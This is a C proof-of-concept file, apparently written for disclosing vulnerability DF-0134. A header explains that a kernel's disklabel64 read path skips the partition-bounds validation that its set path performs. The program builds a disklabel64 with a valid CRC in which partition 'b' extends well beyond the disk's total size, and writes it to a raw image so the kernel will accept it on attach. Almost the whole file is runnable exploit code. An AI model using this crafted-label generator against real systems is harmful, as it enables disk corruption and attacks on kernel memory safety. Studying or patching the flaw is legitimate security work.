DF-0134 / craft_label.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | /* * DF-0134 PoC โ l64_readdisklabel lacks the structural validation that * l64_setdisklabel performs; a crafted on-disk disklabel64 with out-of-slice * partition bounds is accepted into the in-core label. * * l64_readdisklabel() (sys/kern/subr_disklabel64.c:176-196) checks only * d_magic, d_npartitions<=MAXPARTITIONS64, and the CRC. It does NOT validate * partition p_boffset/p_bsize, nor d_bbase/d_pbase/d_pstop, against the * slice/d_total_size โ then blindly copies the whole label in-core (:191-193). * * By contrast l64_setdisklabel() (the DIOCSDINFO64 ioctl path, :278-304) DOES * validate: d_total_size<=slicebsize, and per-partition * p_boffset+p_bsize <= d_total_size, p_boffset >= d_pbase, alignment, etc. * * This program WRITES a crafted disklabel64 to a raw image: partition 'b' has * p_boffset+p_bsize far beyond d_total_size. When the kernel later reads it * (slice probe on attach) the in-core label will contain the out-of-slice * partition unchanged โ see readback.c (DIOCGDINFO64) / `disklabel64`. * * Build: cc -o craft_label craft_label.c * Run: ./craft_label <image> <total_size_bytes> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <stddef.h> #include <sys/disklabel64.h> static uint32_t crc32_tab[] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; static uint32_t crc32(const void *buf, size_t size) { const uint8_t *p = buf; uint32_t crc = ~0U; while (size--) crc = crc32_tab[(crc ^ *p++) & 0xFF] ^ (crc >> 8); return crc ^ ~0U; } int main(int argc, char **argv) { struct disklabel64 *lp; char buf[sizeof(struct disklabel64)]; uint64_t total; int fd; size_t crcsize; if (argc < 2) { fprintf(stderr, "usage: %s <image> [total_size_bytes]\n", argv[0]); return 2; } total = (argc > 2) ? strtoull(argv[2], NULL, 0) : (uint64_t)32 * 1024 * 1024; memset(buf, 0, sizeof(buf)); lp = (struct disklabel64 *)buf; lp->d_magic = DISKMAGIC64; lp->d_align = 512; lp->d_npartitions = 3; lp->d_total_size = total; lp->d_bbase = 32 * 1024; /* boot area base */ lp->d_pbase = (lp->d_bbase + BOOT2SIZE64 + 511) & ~(uint64_t)511; lp->d_pstop = total; lp->d_abase = 0; /* RAW partition (index 2): whole disk โ valid */ lp->d_partitions[2].p_boffset = 0; lp->d_partitions[2].p_bsize = total; /* partition 'a' (index 0): valid, within slice */ lp->d_partitions[0].p_boffset = lp->d_pbase; lp->d_partitions[0].p_bsize = 1 * 1024 * 1024; lp->d_partitions[0].p_fstype = 7; /* FS_BSDFFS -> device node */ /* partition 'b' (index 1): OUT OF SLICE โ the bug. readdisklabel will * accept this; setdisklabel would reject it (p_boffset+p_bsize > * d_total_size, see subr_disklabel64.c:304). */ lp->d_partitions[1].p_boffset = lp->d_pbase; lp->d_partitions[1].p_bsize = total + (64ULL * 1024 * 1024); lp->d_partitions[1].p_fstype = 7; /* FS_BSDFFS -> device node */ crcsize = offsetof(struct disklabel64, d_partitions[lp->d_npartitions]) - offsetof(struct disklabel64, d_magic); lp->d_crc = 0; lp->d_crc = crc32(&lp->d_magic, crcsize); fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf)) { perror("write"); close(fd); return 1; } close(fd); fprintf(stderr, "[*] crafted disklabel64 written to %s\n" " d_magic=0x%08x npart=%u d_total_size=%llu d_pbase=%llu d_pstop=%llu\n" " part[0](a): off=%llu size=%llu (VALID, within slice)\n" " part[1](b): off=%llu size=%llu -> end=%llu (OUT-OF-SLICE: %llu > d_total_size %llu)\n", argv[1], lp->d_magic, lp->d_npartitions, (unsigned long long)lp->d_total_size, (unsigned long long)lp->d_pbase, (unsigned long long)lp->d_pstop, (unsigned long long)lp->d_partitions[0].p_boffset, (unsigned long long)lp->d_partitions[0].p_bsize, (unsigned long long)lp->d_partitions[1].p_boffset, (unsigned long long)lp->d_partitions[1].p_bsize, (unsigned long long)(lp->d_partitions[1].p_boffset + lp->d_partitions[1].p_bsize), (unsigned long long)(lp->d_partitions[1].p_boffset + lp->d_partitions[1].p_bsize), (unsigned long long)lp->d_total_size); return 0; } |